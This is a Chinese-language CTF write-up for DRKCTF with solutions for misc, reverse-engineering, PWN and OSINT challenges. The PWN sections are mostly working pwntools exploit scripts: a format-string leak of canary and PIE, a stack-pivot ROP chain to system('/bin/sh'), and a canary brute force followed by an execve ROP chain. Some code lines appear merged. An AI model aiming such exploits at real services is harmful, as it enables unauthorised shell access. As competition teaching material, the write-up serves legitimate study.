请用DRKCTF{}包裹flag进行提交
注意隐私保护
flag有两段
我的解答:
懒得写了,直接贴官方wp..
相信那你在查看文档时也找到了名字好像很可疑,这就是第一段flag,对应的hint是:注意隐私保护,很多出题人出题时是没在意名字问题的等于自己把自己开了,本意是借此提醒
接着分析doc会发现大量的01,很明显可以猜测为文档隐藏了内容全选后换个字体颜色就行了,,这段01猜测为01 to img,写个脚本就可以了(帮你们试过了大部分的工具出来的都是重叠,还是老老实实写脚本吧。如果你觉得文本量大不好处理,那为什么不试试word的替换功能呢)
转成的图片再识图,可以找到海嗣文字,需要反着读镜像后对照即可。“?”为“_“最开始图片上有明确展示
RE
elec_go
题目
其实很ez😯
解得的flag需要使用DRKCTF{}替换flag{}
这些base64语法好抽象啊
我的解答:
解包
asar e .\app.asar app
审计源码
解密base64
扔给gpt说是AST语法树,直接让gpt转化成js代码
写个解密
重新打包
运行拿到flag
import libnum
for i in [
1146243907,
1413905258,
1970500703,
1634623333,
2053072236,
1701016690,
1869504362,
1937571840
]:
print(libnum.n2s(i).decode(),end="")
flower_tea
题目
想要来点花茶吗(●'◡'●)
题目flag格式为DRKCTF{}
这里好像有个hook?
我的解答:
过反调试
直接跟会跟到xxtea和异或
解出来DRKCTF{Sorry.There_is_no_more_flower_tea.Please_try_again!!}
猜测还有反调试,翻烂了没找到,看到提示有hook,开始翻函数表,翻到可疑函数
八成就是注册钩子的函数了,动调一遍发现没有调用
那上面这个肯定就是反调试了,虽然没看懂怎么反调的
重新动调,进了一个新的函数,被hook了
去两个花指令
直接逆
from ctypes import *
import libnum
v22=[0x59578627, 0xE1C49E72, 0xBC24167F, 0x8C3DA26B]
k = [0x00001234, 0x00002341, 0x00003412, 0x00004123]
v=[0x127DC4E1, 0xCBA0EC0E, 0x570EDF5B, 0x99062A35, 0x382A7E1B, 0x15E46742, 0x4E5E456F, 0x3834C1D6, 0x5EF778A5, 0xAF217212, 0xC2D79D20, 0xD5C5935F, 0x0CD2F5BB, 0xC527398C, 0x5EAC6739]
v8=c_uint32(v[0] ^ 0xBC2593ED)
for i in range(4-1,-1,-1):
a, b, c, d = c_uint32(v[4 * i]), c_uint32(v[4 * i + 1]), c_uint32(v[4 * i + 2]), c_uint32(v[(4 * i + 3) % 15])
for j in range(33-1,-1,-1):
d.value -= (2 * v8.value) ^ (k[(j + 3) & 3] >> 2) ^ v8.value ^ c.value
v8.value -= v22[d.value & 3]
c.value -= (v8.value >> 2) ^ (8 * k[(j + 2) & 3]) ^ v8.value ^ b.value
v8.value -= v22[c.value & 3]
b.value -= (16 * v8.value) ^ (k[(j + 1) & 3] >> 1) ^ v8.value ^ a.value
v8.value -= v22[b.value & 3]
a.value -= (v8.value >> 3) ^ (4 * k[j & 3]) ^ v8.value ^ d.value
v8.value -= v22[(a.value) & 3]
v[4 * i], v[4 * i + 1], v[4 * i + 2], v[(4 * i + 3) % 15] = a.value, b.value, c.value, d.value
for i in v:
print(libnum.n2s(i).decode()[::-1],end="")
PWN
ez_quiz
题目
ez
我的解答:
编写base32解密程序解密得到token,再过一个表达式计算的逻辑走到下面存在格式化字符串漏洞的gift函数,通过格式化字符串漏洞泄露libc基地址和canary的值后,覆盖返回地址为backdoor
#include <iostream>
#include <string>
void base32_decode(const std::string& input, std::string& output) {
static const std::string alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
auto lookup = [](char ch) {
if (ch >= 'A' && ch <= 'Z') return ch - 'A';
if (ch >= '2' && ch <= '7') return ch - '2' + 26;
return -1;
};
int accumulator = 0;
int bits_collected = 0;
for (char ch : input) {
if (ch == '=') break;
int value = lookup(ch);
if (value == -1) continue;
accumulator = (accumulator << 5) | value;
bits_collected += 5;
if (bits_collected >= 8) {
output.push_back(~(char)((accumulator >> (bits_collected - 8)) & 0xFF));
bits_collected -= 8;
}
}
}
int main() {
std::string encoded_str = "XOW3JPFLXGCK7TWMX6GMZIGOTK7ZJIELS65KBHU3TOG2BT4ZUDEJPGVATS7JDPVNQ2QL7EM3UCHZNGUC";
std::string decoded_str;
base32_decode(encoded_str, decoded_str);
std::cout << decoded_str << std::endl;
return 0;
}
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
p = process('./attachment')
# p = remote("challenge.qsnctf.com",35459)
p.sendlineafter("token: ","DRKCTF{P13@s3_1e@k_thE_addr_0f_7he_cAnARy_@nd_pie}")
p.recvuntil("(( ")
a = int(p.recvuntil('-')[:-2])
b = int(p.recvuntil(' )')[:-2])
p.recvuntil('* ')
c = int(p.recvuntil(' )')[:-2])
p.recvuntil('% ')
d = int(p.recvuntil('=')[:-1])
p.sendline(str(((a - b) * c) %d))
p.sendlineafter("gift:\n","AA%11$pBB%8$p")
# gdb.attach(p)
p.recvuntil('AA')
canary = int(p.recv(18),16)
p.recvuntil('BB')
elf_base = int(p.recv(14),16) - (0x55b4b7ff2bd7 - 0x55b4b7ff1000)
payload = b'a' * 0x28 + p64(canary) + b'a' * 8 + p64(elf_base + 0x0000000000001426)
p.sendline(payload)
p.interactive()
stack
我的解答:
main函数就是这样,只有一个溢出点
能溢出0x10字节,直接使用call_read ,+栈迁移打法,修改rbp指针,然后call_read的时候直接可以栈迁 移
先把rbp改为bss可控段,然后call_read会再bss段上输入东西
这个时候可以直接栈迁移, bss段地址可知并且可控
from pwn import *
from LibcSearcher import*
#32711 me
# p=remote('challenge.qsnctf.com',31669)
FILENAME='../pwn5' p=process(FILENAME)
# elf=ELF(FILENAME)
libc=ELF('../libc-2.31.so')
# p=gdb.debug(FILENAME,'b* 0x08049422')
gdb.attach(p,'b* 0x4011B9')
call_read=0x40119B bss=0x404340
payload=b'a'*(0x100)+p64(bss)+p64(call_read) p.send(payload)
rdi_ret=0x0000000000401210 ret=0x000000000040101a
leave_ret=0x00000000004011be
puts_plt=0x401064 puts_got=0x404018 bss_next=bss+0x500
payload=p64(bss_next)+p64(rdi_ret)+p64(puts_got)+p64(puts_plt)+p64(call_read) payload=payload.ljust(0x100,b'\x00')
payload+=p64(bss-0x100)+p64(leave_ret) p.send(payload)
libc_add=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libcbase=libc_add-libc.sym['puts']
system=libcbase+libc.symbols['system']
str_bin_sh=libcbase+next(libc.search(b'/bin/sh')) success('libcbase '+hex(libcbase))
payload=p64(rdi_ret)+p64(str_bin_sh)+p64(system) payload=payload.ljust(0x100,b'\x00')
payload+=p64(bss_next-0x100-0x8)+p64(leave_ret) p.send(payload)
p.interactive()
canary
我的解答:
使用fork来无限循环调用vuln函数
vlun函数中有溢出
fork之后canary是不变的,可以使用brop爆破出canary然后再利用溢出写静态rop
from pwn import *
from LibcSearcher import* from struct import pack
#32711 me
p=remote('challenge.qsnctf.com',30519) FILENAME='../pwn'
# p=process(FILENAME) # elf=ELF(FILENAME)
# libc=ELF('../libc-2.31.so')
# p=gdb.debug(FILENAME,'b* 0x08049422') # gdb.attach(p,'b* 0x4011B9')
def sh():
# Padding goes here
p = b''
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x00000000004493d7) # pop rax ; ret p += b'/bin//sh'
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret
p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004437a0) # xor rax, rax ; ret
p += pack('<Q', 0x000000000047c4e5) # mov qword ptr [rsi], rax ; ret p += pack('<Q', 0x00000000004018c2) # pop rdi ; ret
p += pack('<Q', 0x00000000004c10e0) # @ .data
p += pack('<Q', 0x000000000040f23e) # pop rsi ; ret p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004017cf) # pop rdx ; ret p += pack('<Q', 0x00000000004c10e8) # @ .data + 8
p += pack('<Q', 0x00000000004493d7) # p += p64(59)
p += pack('<Q', 0x00000000004012d3) # syscall
return p
myrop=sh()
print(hex(len(myrop))) canary=b'\x00'
padding=b'a'*(0x110-0x8)
for i in range(7):
for j in range(0x100):
try:
# print(hex(j))
payload=padding+canary+p8(j)
p.sendafter(b'input:\n',payload)
strs=p.recvuntil(b'*** stack smashing detected ***',timeout=1)
if(b'stack' not in strs):
print(i+1,'--',hex(j))
canary+=p8(j)
break
except:
pass
# gdb.attach(p,'b* 0x401DA3')
print('down----')
payload=padding+canary+p64(0xdeadbeef)+myrop
print(hex(len(payload)))
p.sendafter(b'input:\n',payload)
p.interactive()
Osint
羡慕群友每一天
题目
群友又出去旅游了,中途给xiaoxi发来一张照片,快来看看这是哪吧
flag格式:DRKCTF{国家-一级行政区-城市-摩天轮名字}
摩天轮名字为英文,首字母大写。
DRKCTF{X国-XXXX州-XXX市-Xxxxxxxx}
我的解答:
谷歌识图秒!!!